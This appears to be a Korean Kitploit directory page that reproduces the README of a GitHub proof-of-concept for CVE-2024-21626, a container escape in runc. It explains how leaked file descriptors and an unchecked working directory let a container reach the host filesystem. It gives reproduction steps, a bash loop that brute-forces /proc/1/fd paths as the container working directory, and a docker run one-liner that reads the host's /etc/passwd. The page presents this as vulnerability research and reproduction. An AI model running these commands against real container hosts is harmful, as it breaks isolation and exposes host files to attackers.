Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-21626 — CVE-2024-21626-poc-research-Reappearance-andtodo | Kitploit
도구/GitHubGitHub/cdxiaodong/cve-2024-21626
Container SecurityVulnerability AnalysisExploitationPenetration TestingCloud SecurityContainer Escape
GitHubcdxiaodong/cve-2024-21626

CVE-2024-21626

CVE-2024-21626-poc-research-Reappearance-andtodo

저장소 보기
512년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이용:

1.git clone https://github.com/cdxiaodong/CVE-2024-21626

2.docker-compose up

검증: 호스트의 /etc/passwd를 획득할 수 있다면 해당 취약점이 존재합니다.

환경: runc: >=v1.0.0-rc93,<=1.1.11

공격 세부 원리: runc 영향 버전에서는 초기화 과정에서 호스트의 /sys/fs/cgroup 핸들을 포함한 일부 내부 파일 디스크립터가 유출되며, runc는 최종 작업 디렉토리가 컨테이너의 마운트 네임스페이스 내에 있는지 검증하지 않습니다. 공격자는 process.cwd 설정을 /proc/self/fd/7로 수정하거나, 호스트에서 runc exec 호출 시 --cwd 매개변수에 전달된 특정 경로를 /proc/self/fd/7/ 심볼릭 링크로 대체하여 컨테이너 내 프로세스가 호스트의 파일 시스템에 접근하고 조작할 수 있도록 하여 컨테이너 격리 메커니즘을 우회할 수 있습니다. 자세한 내용 (gif 이미지):

  1. 공격자는 자체 제작한 docker-poc 패키지를 사용하여 공격을 수행합니다 CVE-2024-21626 runc process.cwd 및 유출된 fds 컨테이너 탈출 | Snyk (snyk.io)
  2. 해당 docker-image는 아직 공개 네트워크에 오픈소스로 공개되지 않았습니다 20240201 img_v3_027l_c9651fc0-e6db-4524-9363-1e12fca4f8dg
  3. 공식 소스 코드 수정 로직: Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)
  4. Runc는 Process.CWD 속임수와 유출된 FDS로 인한 컨테이너 탈출에 취약함 · CVE-2024-21626 · GitHub Advisory Database

CVE: CVE - CVE-2024-21626 (mitre.org) 이 취약점을 발견한 연구자: CVE-2024-21626 runc process.cwd 및 유출된 fds 컨테이너 탈출 | Snyk (snyk.io) image

실제 fd는 파일 열기 순서에 따라 변경될 수 있습니다. 다음 스크립트를 사용하여 브루트포스할 수 있습니다.

/// #!/bin/bash

for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///

로컬 테스트 성공: fd/9를 이용하여 runc-version: 1.1.10, 1.1.2에서 구현 image

runc --version이 1.0.0일 때 image

runc --version이 1.1.4일 때 fd/8로 구현 image

오늘 막 나온 취약점입니다. 아래에서 더 자세한 내용을 설명합니다.

다음과 같은 방법으로 재현할 수 있습니다.

  1. runc - input 수동 브레이크포인트 컴파일
  2. ebpf를 사용하여 runc를 모니터링하고 브레이크포인트 설정
  3. runc create demo runc exec demo ls /proc/1/fd -a를 실행하면 해당 심볼릭 링크를 직접 볼 수 있습니다.
  4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd 브루트포스

todo: runc 브레이크포인트를 통해 df를 얻어 자동화 구현

도구 다운로드